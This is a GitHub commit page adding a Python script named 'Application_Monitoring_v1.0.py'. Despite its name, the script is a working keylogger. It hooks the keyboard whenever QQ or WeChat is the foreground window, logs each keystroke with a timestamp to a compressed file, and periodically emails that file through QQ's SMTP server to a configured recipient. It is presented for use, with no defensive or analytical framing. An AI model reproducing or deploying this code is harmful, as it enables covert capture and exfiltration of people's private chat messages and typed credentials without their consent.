Skip to content

Commit 8fce828

Browse files
authored
Add files via upload
1 parent 66e6866 commit 8fce828

3 files changed

Lines changed: 654 additions & 0 deletions

File tree

Application_Monitoring_v1.0.py

Lines changed: 259 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,259 @@
1+
import os
2+
import struct
3+
import zlib
4+
import time
5+
import keyboard
6+
import threading
7+
import psutil
8+
import win32gui
9+
import win32process
10+
import smtplib
11+
from email.mime.multipart import MIMEMultipart
12+
from email.mime.base import MIMEBase
13+
from email import encoders
14+
from datetime import datetime
15+
16+
# 发件人和收件人信息
17+
from_addr = "your_email@example.com"
18+
to_addr = "recipient_email@example.com"
19+
password = "your_email_password_or_smtp_token"
20+
compressed_file = "D:\\key_data.bin"
21+
22+
key_encoding = {
23+
# 字母键
24+
'a': 0x61, 'b': 0x62, 'c': 0x63, 'd': 0x64, 'e': 0x65,
25+
'f': 0x66, 'g': 0x67, 'h': 0x68, 'i': 0x69, 'j': 0x6A,
26+
'k': 0x6B, 'l': 0x6C, 'm': 0x6D, 'n': 0x6E, 'o': 0x6F,
27+
'p': 0x70, 'q': 0x71, 'r': 0x72, 's': 0x73, 't': 0x74,
28+
'u': 0x75, 'v': 0x76, 'w': 0x77, 'x': 0x78, 'y': 0x79,
29+
'z': 0x7A,
30+
31+
# 数字键 (统一普通数字键和小键盘数字键)
32+
'0': 0x30, '1': 0x31, '2': 0x32, '3': 0x33, '4': 0x34,
33+
'5': 0x35, '6': 0x36, '7': 0x37, '8': 0x38, '9': 0x39,
34+
35+
# 功能键
36+
'F1': 0x70, 'F2': 0x71, 'F3': 0x72, 'F4': 0x73, 'F5': 0x74,
37+
'F6': 0x75, 'F7': 0x76, 'F8': 0x77, 'F9': 0x78, 'F10': 0x79,
38+
'F11': 0x7A, 'F12': 0x7B,
39+
40+
# 特殊字符键
41+
'space': 0x20, 'enter': 0x0D, 'backspace': 0x08, 'tab': 0x09,
42+
'escape': 0x1B, 'ctrl': 0x81, 'shift': 0x82, 'alt': 0x83,
43+
'caps_lock': 0x84, 'num_lock': 0x85, 'scroll_lock': 0x86,
44+
45+
# 符号键(含Shift修饰符的键)
46+
'-': 0x2D, '=': 0x3D, '[': 0x5B, ']': 0x5D, '\\': 0x5C,
47+
';': 0x3B, '\'': 0x27, ',': 0x2C, '.': 0x2E, '/': 0x2F,
48+
49+
# 需要Shift键的符号
50+
'!': 0x21, '@': 0x40, '#': 0x23, '$': 0x24, '%': 0x25,
51+
'^': 0x5E, '&': 0x26, '*': 0x2A, '(': 0x28, ')': 0x29,
52+
'_': 0x5F, '+': 0x2B, '{': 0x7B, '}': 0x7D, ':': 0x3A,
53+
'"': 0x22, '<': 0x3C, '>': 0x3E, '?': 0x3F, '|': 0x7C,
54+
'~': 0x7E, '《': 0x300A, '》': 0x300B, '?': 0xFF1F,
55+
':': 0xFF1A, '“': 0x201C, '”': 0x201D, '{': 0xFF5B,
56+
'}': 0xFF5D, '——': 0x2014, '+': 0x2B, '~': 0x7E,
57+
'!': 0xFF01, '¥': 0xFFE5, '%': 0xFF05, '…': 0x2026,
58+
'&': 0xFF06, '*': 0xFF0A, '(': 0xFF08, ')': 0xFF09,
59+
60+
# 导航键
61+
'insert': 0x90, 'delete': 0x91, 'home': 0x92, 'end': 0x93,
62+
'page_up': 0x94, 'page_down': 0x95, 'arrow_up': 0x96,
63+
'arrow_down': 0x97, 'arrow_left': 0x98, 'arrow_right': 0x99,
64+
65+
# 小键盘其他键
66+
'numpad_decimal': 0x6E, 'numpad_add': 0x6B,
67+
'numpad_subtract': 0x6D, 'numpad_multiply': 0x6A, 'numpad_divide': 0x6F,
68+
69+
# 其他可能的按键
70+
'print_screen': 0x9A, 'pause': 0x9B, 'menu': 0x9C, 'windows': 0x9D
71+
}
72+
73+
# 全局变量声明
74+
last_key = None
75+
key_counter = {}
76+
window_title_dict = {}
77+
window_title_index = 0
78+
recorded_data = []
79+
current_window_title = None
80+
81+
def send_email(filepath, subject_date):
82+
msg = MIMEMultipart()
83+
msg['From'] = from_addr
84+
msg['To'] = to_addr
85+
msg['Subject'] = f"{subject_date}的记录"
86+
87+
filename = os.path.basename(filepath)
88+
with open(filepath, "rb") as attachment:
89+
part = MIMEBase('application', 'octet-stream')
90+
part.set_payload(attachment.read())
91+
encoders.encode_base64(part)
92+
part.add_header('Content-Disposition', f'attachment; filename={filename}')
93+
msg.attach(part)
94+
95+
try:
96+
server = smtplib.SMTP_SSL('smtp.qq.com', 465)
97+
server.login(from_addr, password)
98+
server.sendmail(from_addr, to_addr, msg.as_string())
99+
server.quit()
100+
print("邮件发送成功!")
101+
except Exception as e:
102+
print(f"邮件发送失败: {e}")
103+
104+
def check_time_and_send_email():
105+
if not os.path.exists(compressed_file):
106+
return False
107+
108+
with open(compressed_file, 'rb') as file:
109+
compressed_data = file.read()
110+
if not compressed_data:
111+
return False
112+
113+
raw_data = zlib.decompress(compressed_data)
114+
if len(raw_data) < 12:
115+
return False
116+
117+
# 读取最后一列的时间戳
118+
first_timestamp = struct.unpack('d', raw_data[-8:])[0]
119+
print(f"First timestamp: {first_timestamp}")
120+
current_time = time.time()
121+
122+
if current_time - first_timestamp >= 3600: # 24 hours in seconds
123+
subject_date = datetime.fromtimestamp(first_timestamp).strftime('%Y/%m/%d')
124+
send_email(compressed_file, subject_date)
125+
return True
126+
return False
127+
128+
def save_compressed_file():
129+
global window_title_dict, window_title_index, recorded_data
130+
131+
if not recorded_data:
132+
print("No data to save")
133+
return
134+
135+
if check_time_and_send_email():
136+
print("24小时内,已发送邮件。覆盖写入新数据...")
137+
138+
raw_data = bytearray()
139+
for window_title, key_name, count, timestamp in recorded_data:
140+
if window_title not in window_title_dict:
141+
window_title_dict[window_title] = window_title_index
142+
title_index = window_title_index
143+
window_title_index += 1
144+
title_encoded = True
145+
else:
146+
title_index = window_title_dict[window_title]
147+
title_encoded = False
148+
149+
try:
150+
key_code = key_encoding[key_name]
151+
except KeyError:
152+
continue
153+
154+
raw_data.append(title_index)
155+
if title_encoded:
156+
title_bytes = window_title.encode('utf-8')
157+
raw_data.append(len(title_bytes))
158+
raw_data.extend(title_bytes)
159+
160+
raw_data.append(key_code)
161+
raw_data.append(count)
162+
raw_data.extend(struct.pack('d', timestamp))
163+
164+
if raw_data:
165+
compressed_data = zlib.compress(raw_data)
166+
with open(compressed_file, 'wb') as file:
167+
file.write(compressed_data)
168+
print(f"Data saved successfully to {compressed_file} with window title '{current_window_title}'")
169+
170+
recorded_data.clear()
171+
172+
def record_last_key():
173+
global last_key, key_counter, current_window_title
174+
if last_key and last_key in key_counter:
175+
recorded_data.append((current_window_title, last_key, key_counter[last_key]["count"], key_counter[last_key]["timestamp"]))
176+
last_key = None
177+
178+
def on_key_event(e):
179+
global last_key, last_timer, current_window_title
180+
if e.event_type == "down":
181+
key_name = e.name
182+
timestamp = round(time.time(), 2)
183+
184+
if key_name == last_key:
185+
key_counter[key_name]["count"] += 1
186+
else:
187+
if last_key and last_key in key_counter:
188+
record_last_key()
189+
key_counter[key_name] = {"count": 1, "timestamp": timestamp}
190+
last_key = key_name
191+
192+
def get_qq_and_wechat_pids():
193+
qq_pids = []
194+
wechat_pids = []
195+
for proc in psutil.process_iter(['pid', 'name']):
196+
if 'QQ' in proc.info['name']:
197+
qq_pids.append(proc.info['pid'])
198+
if 'WeChat' in proc.info['name']:
199+
wechat_pids.append(proc.info['pid'])
200+
return qq_pids, wechat_pids
201+
202+
def get_foreground_window_info():
203+
hwnd = win32gui.GetForegroundWindow()
204+
_, pid = win32process.GetWindowThreadProcessId(hwnd)
205+
title = win32gui.GetWindowText(hwnd)
206+
return pid, title
207+
208+
def is_app_active(app_pids):
209+
fg_window_pid, fg_window_title = get_foreground_window_info()
210+
if fg_window_pid in app_pids:
211+
return True, fg_window_title
212+
return False, None
213+
214+
def main():
215+
global current_window_title
216+
last_state = None
217+
qq_pids, wechat_pids = get_qq_and_wechat_pids()
218+
219+
while True:
220+
qq_active, qq_window_title = is_app_active(qq_pids)
221+
wechat_active, wechat_window_title = is_app_active(wechat_pids)
222+
223+
if qq_active:
224+
if last_state != "QQ":
225+
if last_state == "WeChat":
226+
print(f"WeChat has gone to the background. Stopping key logging...")
227+
keyboard.unhook_all()
228+
record_last_key()
229+
save_compressed_file()
230+
key_counter.clear()
231+
current_window_title = "QQ"
232+
print("QQ is active. Starting to log keys...")
233+
keyboard.hook(on_key_event)
234+
last_state = "QQ"
235+
elif wechat_active:
236+
if last_state != "WeChat":
237+
if last_state == "QQ":
238+
print(f"QQ has gone to the background. Stopping key logging...")
239+
keyboard.unhook_all()
240+
record_last_key()
241+
save_compressed_file()
242+
key_counter.clear()
243+
current_window_title = "WeChat"
244+
print("WeChat is active. Starting to log keys...")
245+
keyboard.hook(on_key_event)
246+
last_state = "WeChat"
247+
else:
248+
if last_state in ["QQ", "WeChat"]:
249+
print(f"{current_window_title} has gone to the background. Stopping key logging...")
250+
keyboard.unhook_all()
251+
record_last_key() # 记录最后一个按键
252+
save_compressed_file() # 保存所有数据
253+
key_counter.clear() # 清空按键计数器
254+
last_state = None
255+
256+
time.sleep(0.5) # 每秒检测一次,可以根据需要调整检测频率
257+
258+
if __name__ == "__main__":
259+
main()

0 commit comments

Comments
 (0)